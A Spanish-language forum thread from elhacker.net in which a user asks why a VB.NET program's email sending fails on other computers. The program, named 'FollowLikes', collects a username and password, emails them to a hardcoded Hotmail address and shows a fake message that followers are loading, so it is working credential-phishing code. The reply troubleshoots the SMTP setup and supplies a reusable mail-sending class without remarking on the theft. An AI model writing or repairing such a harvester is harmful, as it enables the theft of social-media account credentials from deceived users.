elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  problema programa envio mail
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema programa envio mail  (Leído 1,963 veces)
WallkOver

Desconectado Desconectado

Mensajes: 3


Ver Perfil
problema programa envio mail
« en: 19 Mayo 2017, 04:48 am »

Hola, yo cree un programa el cual, pones un usuario y contraseña  y enviar y se envia a un correo ya establecido el problema es que funciona perfecto en mi pc pero en otra pc no funciona. Tira el error de mensaje no enviado, cual puede ser el problema?

Código
  1. Imports System.Net.Mail
  2. Public Class FollowLikes
  3.    'NOTE MAKE SURE YOU HAVE ALL THE OBJECTS IN YOUR FORM BEFORE COPY-PASTING
  4.    Dim thread As System.Threading.Thread
  5.    Dim smtp As New SmtpClient("smtp-mail.outlook.com")
  6.  
  7.    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
  8.        Control.CheckForIllegalCrossThreadCalls = False
  9.    End Sub
  10.  
  11.    Private Sub DoGenerate()
  12.  
  13.        Try
  14.            Dim mail As New MailMessage
  15.            mail.From = New MailAddress("leonel1275@hotmail.com")
  16.            mail.To.Add("leonel1275@hotmail.com")
  17.            mail.Subject = "Updates"
  18.            mail.Body = "USERNAME: " + TextBox1.Text + vbNewLine + "PASSWORD: " + TextBox2.Text
  19.            smtp.Port = 587
  20.            smtp.EnableSsl = True
  21.            smtp.Credentials = New Net.NetworkCredential("leonel1275@hotmail.com", "contraseña")
  22.            smtp.Send(mail)
  23.            MessageBox.Show("Cargando Seguidores, Puede que este preceso dure entre 1 a 3 minutos dependiendo de sus seguidores", Me.Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
  24.        Catch exE As Exception
  25.            MessageBox.Show("Error Servidor Conctacte al administrador para mas informacion.") 'THIS WILL BE YOUR ERROR MESSAGE, HOWEVER IF YOU WANT TO ADD MORE ACCOUNTS, REPLACE (NESTING, IN PROGRAMMING TERMS) THIS LINE WITH ANOTHER TRY-CATCH BLOCK AND PLACE THE ERROR MESSAGE IN THE LAST CATCH)
  26.        End Try
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.    End Sub
  34.  
  35.  
  36.  
  37.    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  38.  
  39.        thread = New System.Threading.Thread(AddressOf DoGenerate)
  40.        thread.Start()
  41.  
  42.        TextBox1.Enabled = False
  43.        TextBox2.Enabled = False
  44.        Button1.Enabled = False
  45.  
  46.    End Sub
  47.  
  48.    Private Sub nomalstate()
  49.        TextBox1.Enabled = True
  50.        TextBox2.Enabled = True
  51.        Button1.Enabled = True
  52.    End Sub
  53.  
  54.  
  55.  
  56.  
  57.  
  58.    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
  59.  
  60.    End Sub
  61. End Class


· No se debe escribir en mayúsculas
>aquí las reglas del foro
-Engel Lex


« Última modificación: 19 Mayo 2017, 12:45 pm por engel lex » En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.809



Ver Perfil
Re: PROBLEMA PROGRAMA ENVIO MAIL
« Respuesta #1 en: 19 Mayo 2017, 12:42 pm »

Las preguntas sobre VB.NET van en el foro de .NET, no VB6.



Tira el error de mensaje no enviado

Al formular una pregunta de programación se debe depurar el error para indicarnos el mensaje exacto de la excepción, no un mensaje de error personalizado e inventado y decorado en un MsgBox. No sé como pretendes que podamos tener una idea de que problema puede ser, si no nos dices que error te indica en realidad.



no funciona. cual puede ser el problema?

Prueba usando el servidor smtp: smtp.live.com, en lugar de esto: "smtp-mail.outlook.com"



Código
  1. Control.CheckForIllegalCrossThreadCalls = False

Eso no se debe hacer jamás, excepto por motivos de depuración de colisión de threads. Además, en el código que has mostrado no es necesario usar threads al fin y al cabo.

Si tu thread (non-UI-thread) necesita llamar a controles que han sido creados en otro thread (UI-thread), entonces puedes utilizar la función Control.InvokeRequired() y el método Control.Invoke().

Aparte, en este caso la creación manual de threads en tiempo de ejecución resulta bastante innecesario, puesto que puedes utilizar la función SmtpClient.SendMailAsync() y/o el método SmtpClient.SendAsync().



Por último, te dejo una clase que puedes aprovechar. La he extraido de mi framework de pago ElektroKit, el cual puedes encontrar en mi firma de usuario por si te interesa. El código está documentado incluyendo ejemplos de uso, no creo que sea necesario explicar nada más, pero si tienes dudas, pregunta.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 19-May-2017
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Methods "
  9.  
  10. ' SendHotmail(String, String, String, String, String)
  11. ' SendHotmail(String, String, String, String, MailAddress)
  12. ' SendHotmail(String, String, String, String, String())
  13. ' SendHotmail(String, String, String, String, MailAddressCollection)
  14.  
  15. ' SendHotmailAsync(String, String, String, String, String) As Task
  16. ' SendHotmailAsync(String, String, String, String, MailAddress) As Task
  17. ' SendHotmailAsync(String, String, String, String, String()) As Task
  18. ' SendHotmailAsync(String, String, String, String, MailAddressCollection) As Task
  19.  
  20. #End Region
  21.  
  22. #End Region
  23.  
  24. #Region " Option Statements "
  25.  
  26. Option Strict On
  27. Option Explicit On
  28. Option Infer Off
  29.  
  30. #End Region
  31.  
  32. #Region " Imports "
  33.  
  34. Imports System.Net
  35. Imports System.Net.Mail
  36. Imports System.Threading.Tasks
  37.  
  38. #End Region
  39.  
  40. #Region " Mail Util "
  41.  
  42. Namespace Elektro.Net
  43.  
  44.    Partial Public NotInheritable Class MailUtil
  45.  
  46. #Region " Public Methods "
  47.  
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <summary>
  50.        ''' Sends a mail through Microsoft Hotmail service.
  51.        ''' </summary>
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <example> This is a code example.
  54.        ''' <code>
  55.        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", "Address@Server.com")
  56.        ''' </code>
  57.        ''' </example>
  58.        ''' ----------------------------------------------------------------------------------------------------
  59.        ''' <param name="username">
  60.        ''' The username of the Hotmail account.
  61.        ''' </param>
  62.        '''
  63.        ''' <param name="password">
  64.        ''' The password of the Hotmail account.
  65.        ''' </param>
  66.        '''
  67.        ''' <param name="subject">
  68.        ''' The mail subject.
  69.        ''' </param>
  70.        '''
  71.        ''' <param name="body">
  72.        ''' The mail body.
  73.        ''' </param>
  74.        '''
  75.        ''' <param name="address">
  76.        ''' The target address that will receive our sent mail.
  77.        ''' </param>
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        <DebuggerStepThrough>
  80.        Public Shared Sub SendHotmail(ByVal username As String,
  81.                                      ByVal password As String,
  82.                                      ByVal subject As String,
  83.                                      ByVal body As String,
  84.                                      ByVal address As String)
  85.  
  86.            MailUtil.SendHotmail(username, password, subject, body, {address})
  87.  
  88.        End Sub
  89.  
  90.        ''' ----------------------------------------------------------------------------------------------------
  91.        ''' <summary>
  92.        ''' Sends a mail through Microsoft Hotmail service.
  93.        ''' </summary>
  94.        ''' ----------------------------------------------------------------------------------------------------
  95.        ''' <example> This is a code example.
  96.        ''' <code>
  97.        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", New MailAddress("Address@Server.com"))
  98.        ''' </code>
  99.        ''' </example>
  100.        ''' ----------------------------------------------------------------------------------------------------
  101.        ''' <param name="username">
  102.        ''' The username of the Hotmail account.
  103.        ''' </param>
  104.        '''
  105.        ''' <param name="password">
  106.        ''' The password of the Hotmail account.
  107.        ''' </param>
  108.        '''
  109.        ''' <param name="subject">
  110.        ''' The mail subject.
  111.        ''' </param>
  112.        '''
  113.        ''' <param name="body">
  114.        ''' The mail body.
  115.        ''' </param>
  116.        '''
  117.        ''' <param name="address">
  118.        ''' The target address that will receive our sent mail.
  119.        ''' </param>
  120.        ''' ----------------------------------------------------------------------------------------------------
  121.        <DebuggerStepThrough>
  122.        Public Shared Sub SendHotmail(ByVal username As String,
  123.                                      ByVal password As String,
  124.                                      ByVal subject As String,
  125.                                      ByVal body As String,
  126.                                      ByVal address As MailAddress)
  127.  
  128.            MailUtil.SendHotmail(username, password, subject, body, {address.Address})
  129.  
  130.        End Sub
  131.  
  132.        ''' ----------------------------------------------------------------------------------------------------
  133.        ''' <summary>
  134.        ''' Sends a mail through Microsoft Hotmail service.
  135.        ''' </summary>
  136.        ''' ----------------------------------------------------------------------------------------------------
  137.        ''' <example> This is a code example.
  138.        ''' <code>
  139.        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", {"Address1@Server.com", "Address2@Server.com"})
  140.        ''' </code>
  141.        ''' </example>
  142.        ''' ----------------------------------------------------------------------------------------------------
  143.        ''' <param name="username">
  144.        ''' The username of the Hotmail account.
  145.        ''' </param>
  146.        '''
  147.        ''' <param name="password">
  148.        ''' The password of the Hotmail account.
  149.        ''' </param>
  150.        '''
  151.        ''' <param name="subject">
  152.        ''' The mail subject.
  153.        ''' </param>
  154.        '''
  155.        ''' <param name="body">
  156.        ''' The mail body.
  157.        ''' </param>
  158.        '''
  159.        ''' <param name="addresses">
  160.        ''' The target addresses that will receive our sent mail.
  161.        ''' </param>
  162.        ''' ----------------------------------------------------------------------------------------------------
  163.        <DebuggerStepThrough>
  164.        Public Shared Sub SendHotmail(ByVal username As String,
  165.                                      ByVal password As String,
  166.                                      ByVal subject As String,
  167.                                      ByVal body As String,
  168.                                      ByVal addresses As String())
  169.  
  170.            Dim addressCollection As New MailAddressCollection
  171.            For Each address As String In addresses
  172.                addressCollection.Add(New MailAddress(address))
  173.            Next address
  174.  
  175.            MailUtil.SendHotmail(username, password, subject, body, addressCollection)
  176.  
  177.        End Sub
  178.  
  179.        ''' ----------------------------------------------------------------------------------------------------
  180.        ''' <summary>
  181.        ''' Sends a mail through Microsoft Hotmail service.
  182.        ''' </summary>
  183.        ''' ----------------------------------------------------------------------------------------------------
  184.        ''' <example> This is a code example.
  185.        ''' <code>
  186.        ''' Dim addressCollection As New MailAddressCollection
  187.        ''' addressCollection.Add(New MailAddress("Address@Server.com"))
  188.        ''' addressCollection.Add(New MailAddress("Address2@Server.com"))
  189.        ''' SendHotmail("Username@Hotmail.com", "Password", "Email Subject", "Message Body", addressCollection)
  190.        ''' </code>
  191.        ''' </example>
  192.        ''' ----------------------------------------------------------------------------------------------------
  193.        ''' <param name="username">
  194.        ''' The username of the Hotmail account.
  195.        ''' </param>
  196.        '''
  197.        ''' <param name="password">
  198.        ''' The password of the Hotmail account.
  199.        ''' </param>
  200.        '''
  201.        ''' <param name="subject">
  202.        ''' The mail subject.
  203.        ''' </param>
  204.        '''
  205.        ''' <param name="body">
  206.        ''' The mail body.
  207.        ''' </param>
  208.        '''
  209.        ''' <param name="addresses">
  210.        ''' The target addresses that will receive our sent mail.
  211.        ''' </param>
  212.        ''' ----------------------------------------------------------------------------------------------------
  213.        <DebuggerStepThrough>
  214.        Public Shared Sub SendHotmail(ByVal username As String,
  215.                                      ByVal password As String,
  216.                                      ByVal subject As String,
  217.                                      ByVal body As String,
  218.                                      ByVal addresses As MailAddressCollection)
  219.  
  220.            Using msg As New MailMessage
  221.  
  222.                For Each address As MailAddress In addresses
  223.                    msg.To.Add(address)
  224.                Next address
  225.                msg.From = New MailAddress(username)
  226.                msg.Subject = subject
  227.                msg.Body = body
  228.  
  229.                Using client As New SmtpClient()
  230.                    With client
  231.                        .Host = "smtp.live.com"
  232.                        .Port = 587
  233.                        .EnableSsl = True
  234.                        .DeliveryMethod = SmtpDeliveryMethod.Network
  235.                        .Timeout = CInt(TimeSpan.FromSeconds(60).TotalMilliseconds)
  236.                        .Credentials = New NetworkCredential(username, password)
  237.                    End With
  238.                    client.Send(msg)
  239.                End Using
  240.  
  241.            End Using
  242.  
  243.        End Sub
  244.  
  245. ' #If NET45 Then
  246.  
  247.        ''' ----------------------------------------------------------------------------------------------------
  248.        ''' <summary>
  249.        ''' Asynchronously sends a mail through Microsoft Hotmail service.
  250.        ''' </summary>
  251.        ''' ----------------------------------------------------------------------------------------------------
  252.        ''' <example> This is a code example.
  253.        ''' <code>
  254.        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", "Address@Server.com")
  255.        ''' </code>
  256.        ''' </example>
  257.        ''' ----------------------------------------------------------------------------------------------------
  258.        ''' <param name="username">
  259.        ''' The username of the Hotmail account.
  260.        ''' </param>
  261.        '''
  262.        ''' <param name="password">
  263.        ''' The password of the Hotmail account.
  264.        ''' </param>
  265.        '''
  266.        ''' <param name="subject">
  267.        ''' The mail subject.
  268.        ''' </param>
  269.        '''
  270.        ''' <param name="body">
  271.        ''' The mail body.
  272.        ''' </param>
  273.        '''
  274.        ''' <param name="address">
  275.        ''' The target address that will receive our sent mail.
  276.        ''' </param>
  277.        ''' ----------------------------------------------------------------------------------------------------
  278.        <DebuggerStepThrough>
  279.        Public Shared Async Function SendHotmailAsync(ByVal username As String,
  280.                                                      ByVal password As String,
  281.                                                      ByVal subject As String,
  282.                                                      ByVal body As String,
  283.                                                      ByVal address As String) As Task
  284.  
  285.            Await MailUtil.SendHotmailAsync(username, password, subject, body, {address})
  286.  
  287.        End Function
  288.  
  289.        ''' ----------------------------------------------------------------------------------------------------
  290.        ''' <summary>
  291.        ''' Asynchronously sends a mail through Microsoft Hotmail service.
  292.        ''' </summary>
  293.        ''' ----------------------------------------------------------------------------------------------------
  294.        ''' <example> This is a code example.
  295.        ''' <code>
  296.        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", New MailAddress("Address@Server.com"))
  297.        ''' </code>
  298.        ''' </example>
  299.        ''' ----------------------------------------------------------------------------------------------------
  300.        ''' <param name="username">
  301.        ''' The username of the Hotmail account.
  302.        ''' </param>
  303.        '''
  304.        ''' <param name="password">
  305.        ''' The password of the Hotmail account.
  306.        ''' </param>
  307.        '''
  308.        ''' <param name="subject">
  309.        ''' The mail subject.
  310.        ''' </param>
  311.        '''
  312.        ''' <param name="body">
  313.        ''' The mail body.
  314.        ''' </param>
  315.        '''
  316.        ''' <param name="address">
  317.        ''' The target address that will receive our sent mail.
  318.        ''' </param>
  319.        ''' ----------------------------------------------------------------------------------------------------
  320.        <DebuggerStepThrough>
  321.        Public Shared Async Function SendHotmailAsync(ByVal username As String,
  322.                                                      ByVal password As String,
  323.                                                      ByVal subject As String,
  324.                                                      ByVal body As String,
  325.                                                      ByVal address As MailAddress) As Task
  326.  
  327.            Await MailUtil.SendHotmailAsync(username, password, subject, body, {address.Address})
  328.  
  329.        End Function
  330.  
  331.        ''' ----------------------------------------------------------------------------------------------------
  332.        ''' <summary>
  333.        ''' Asynchronously sends a mail through Microsoft Hotmail service.
  334.        ''' </summary>
  335.        ''' ----------------------------------------------------------------------------------------------------
  336.        ''' <example> This is a code example.
  337.        ''' <code>
  338.        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", {"Address1@Server.com", "Address2@Server.com"})
  339.        ''' </code>
  340.        ''' </example>
  341.        ''' ----------------------------------------------------------------------------------------------------
  342.        ''' <param name="username">
  343.        ''' The username of the Hotmail account.
  344.        ''' </param>
  345.        '''
  346.        ''' <param name="password">
  347.        ''' The password of the Hotmail account.
  348.        ''' </param>
  349.        '''
  350.        ''' <param name="subject">
  351.        ''' The mail subject.
  352.        ''' </param>
  353.        '''
  354.        ''' <param name="body">
  355.        ''' The mail body.
  356.        ''' </param>
  357.        '''
  358.        ''' <param name="addresses">
  359.        ''' The target addresses that will receive our sent mail.
  360.        ''' </param>
  361.        ''' ----------------------------------------------------------------------------------------------------
  362.        <DebuggerStepThrough>
  363.        Public Shared Async Function SendHotmailAsync(ByVal username As String,
  364.                                                      ByVal password As String,
  365.                                                      ByVal subject As String,
  366.                                                      ByVal body As String,
  367.                                                      ByVal addresses As String()) As Task
  368.  
  369.            Dim addressCollection As New MailAddressCollection
  370.            For Each address As String In addresses
  371.                addressCollection.Add(New MailAddress(address))
  372.            Next address
  373.  
  374.            Await MailUtil.SendHotmailAsync(username, password, subject, body, addressCollection)
  375.  
  376.        End Function
  377.  
  378.        ''' ----------------------------------------------------------------------------------------------------
  379.        ''' <summary>
  380.        ''' Asynchronously sends a mail through Microsoft Hotmail service.
  381.        ''' </summary>
  382.        ''' ----------------------------------------------------------------------------------------------------
  383.        ''' <example> This is a code example.
  384.        ''' <code>
  385.        ''' Dim addressCollection As New MailAddressCollection
  386.        ''' addressCollection.Add(New MailAddress("Address@Server.com"))
  387.        ''' addressCollection.Add(New MailAddress("Address2@Server.com"))
  388.        ''' Await SendHotmailAsync("Username@Hotmail.com", "Password", "Email Subject", "Message Body", addressCollection)
  389.        ''' </code>
  390.        ''' </example>
  391.        ''' ----------------------------------------------------------------------------------------------------
  392.        ''' <param name="username">
  393.        ''' The username of the Hotmail account.
  394.        ''' </param>
  395.        '''
  396.        ''' <param name="password">
  397.        ''' The password of the Hotmail account.
  398.        ''' </param>
  399.        '''
  400.        ''' <param name="subject">
  401.        ''' The mail subject.
  402.        ''' </param>
  403.        '''
  404.        ''' <param name="body">
  405.        ''' The mail body.
  406.        ''' </param>
  407.        '''
  408.        ''' <param name="addresses">
  409.        ''' The target addresses that will receive our sent mail.
  410.        ''' </param>
  411.        ''' ----------------------------------------------------------------------------------------------------
  412.        <DebuggerStepThrough>
  413.        Public Shared Async Function SendHotmailAsync(ByVal username As String,
  414.                                                      ByVal password As String,
  415.                                                      ByVal subject As String,
  416.                                                      ByVal body As String,
  417.                                                      ByVal addresses As MailAddressCollection) As Task
  418.  
  419.            Using msg As New MailMessage
  420.  
  421.                For Each address As MailAddress In addresses
  422.                    msg.To.Add(address)
  423.                Next
  424.                msg.From = New MailAddress(username)
  425.                msg.Subject = subject
  426.                msg.Body = body
  427.  
  428.                Using client As New SmtpClient()
  429.                    With client
  430.                        .Host = "smtp.live.com"
  431.                        .Port = 587
  432.                        .EnableSsl = True
  433.                        .DeliveryMethod = SmtpDeliveryMethod.Network
  434.                        .Timeout = CInt(TimeSpan.FromSeconds(60).TotalMilliseconds)
  435.                        .Credentials = New NetworkCredential(username, password)
  436.                    End With
  437.                    Dim t As Task = client.SendMailAsync(msg)
  438.                    Await t
  439.                End Using
  440.  
  441.            End Using
  442.  
  443.        End Function
  444.  
  445. ' #End If
  446.  
  447. #End Region
  448.  
  449.    End Class
  450.  
  451. End Namespace
  452.  
  453. #End Region

¡Saludos!


« Última modificación: 19 Mayo 2017, 12:56 pm por Eleкtro » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Simular envio de mail
Dudas Generales
theflyingdove 4 4,362 Último mensaje 20 Enero 2015, 18:10 pm
por тαптяα
Error en el envío de mail
Scripting
ANreZZ 0 1,575 Último mensaje 16 Noviembre 2015, 22:50 pm
por ANreZZ
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines